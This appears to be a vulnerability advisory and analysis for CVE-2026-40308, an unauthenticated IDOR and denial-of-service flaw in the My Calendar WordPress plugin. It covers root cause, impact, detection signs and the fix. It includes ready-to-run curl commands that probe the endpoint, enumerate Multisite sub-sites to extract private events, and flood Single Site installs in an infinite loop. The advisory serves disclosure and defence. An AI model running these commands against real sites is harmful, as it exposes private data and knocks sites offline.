CVE-2026-40308: 
PHP vulnerability analysis and mitigation

CVE-2026-40308 is an unauthenticated Information Disclosure (IDOR) and Denial of Service vulnerability in the My Calendar WordPress plugin (versions 3.7.6 and below). On WordPress Multisite installations, it allows unauthenticated attackers to extract calendar events — including private or hidden ones — from any sub-site on the network. On standard Single Site installations, the same flaw triggers an uncaught PHP fatal error, crashing the worker thread and enabling an unauthenticated DoS. Disclosed on April 16, 2026, it carries a CVSS v4.0 base score of 8.8 (High) (Github Advisory).

The root cause is an Authorization Bypass Through User-Controlled Key (CWE-639) in the mc_ajax_mcjs_action AJAX handler, which is registered for unauthenticated users via WordPress's admin-ajax.php. The endpoint passes user-supplied query arguments directly through PHP's parse_str() without any validation or sanitization, allowing an attacker to inject arbitrary parameters — including a site value — into the function's execution context. On Multisite, this injected site parameter is passed to switch_to_blog(), enabling cross-site data access; on Single Site, switch_to_blog() is undefined, causing an uncaught PHP fatal error. No authentication or special preconditions are required to exploit this vulnerability (Github Advisory, Security Advisory).

On WordPress Multisite installations, unauthenticated attackers can enumerate sub-site IDs and silently extract private, unpublished, or intranet-specific calendar events from any sub-site on the network, exposing potentially sensitive organizational information. On Single Site installations, repeated requests to the vulnerable endpoint crash PHP worker threads with negligible attacker resources, resulting in an application-layer denial of service that can render the site unavailable. There is no integrity impact, but the combination of confidentiality exposure across an entire Multisite network and availability disruption on Single Site deployments makes this a significant risk for all My Calendar plugin users (Github Advisory).

No public proof-of-concept exploit code has been confirmed, and there is no evidence of in-the-wild exploitation at this time (Feedly). However, the vulnerability is trivially exploitable with a simple curl command requiring no authentication, credentials, or special tooling. The EPSS score is approximately 3.1% (87th percentile), indicating a relatively elevated probability of exploitation within 30 days compared to other CVEs (Github Advisory). Nuclei detection templates have been added to the ProjectDiscovery nuclei-templates repository, lowering the barrier for automated scanning (Nuclei Templates). The vulnerability is not currently listed in the CISA KEV catalog.

1. Reconnaissance: Identify WordPress sites running the My Calendar plugin (versions ≤ 3.7.6) using tools like WPScan, Shodan, or Censys. Determine whether the target is a Multisite or Single Site installation.
2. Probe the vulnerable endpoint: Send an unauthenticated GET request to the mcjs_action AJAX endpoint to confirm the plugin is active:

   curl -i -s "http://<target>/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args=site=1"

3. Multisite — Enumerate sub-sites: Iterate over site parameter values (e.g., site=1, site=2, ...) to enumerate valid sub-site IDs on the Multisite network:

   curl -s "http://<target>/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args=site=2"

4. Multisite — Extract private events: For each valid sub-site ID, the response returns calendar event data — including private or hidden events — from that sub-site without any authorization check.
5. Single Site — Denial of Service: On a non-Multisite installation, repeatedly sending any truthy site value crashes the PHP worker thread, exhausting available workers and causing a denial of service:

   while true; do curl -s "http://<target>/wp-admin/admin-ajax.php?action=mcjs_action&behavior=loadupcoming&args=site=1" & done

   (Github Advisory, Security Advisory)

• Network: Repeated unauthenticated GET or POST requests to /wp-admin/admin-ajax.php with action=mcjs_action and an args parameter containing a site= value; rapid sequential requests with incrementing site values suggesting enumeration.
• Logs: Web server access logs showing high-frequency requests to admin-ajax.php?action=mcjs_action from a single or small set of IP addresses; PHP error logs showing uncaught fatal errors related to switch_to_blog() being called on a non-Multisite installation.
• Process: PHP worker thread crashes or elevated PHP-FPM process restarts coinciding with requests to the mcjs_action endpoint on Single Site installations.

The vulnerability is fixed in My Calendar version 3.7.7, released April 8, 2026. All users running version 3.7.6 or below should upgrade immediately via the WordPress plugin dashboard or by downloading the patched release directly (v3.7.7 Release). For organizations unable to patch immediately, consider disabling the My Calendar plugin or using a WAF rule to block unauthenticated requests to admin-ajax.php with action=mcjs_action until the upgrade can be applied (Github Advisory).

The vulnerability was reported by security researcher minhi1 and published via GitHub's security advisory process on April 16, 2026 (Security Advisory). A technical write-up was published by Infinit Security detailing the IDOR and DoS vectors (Infinit Security). The vulnerability received automated coverage across CVE aggregation platforms and was noted on Bluesky by security community accounts shortly after disclosure.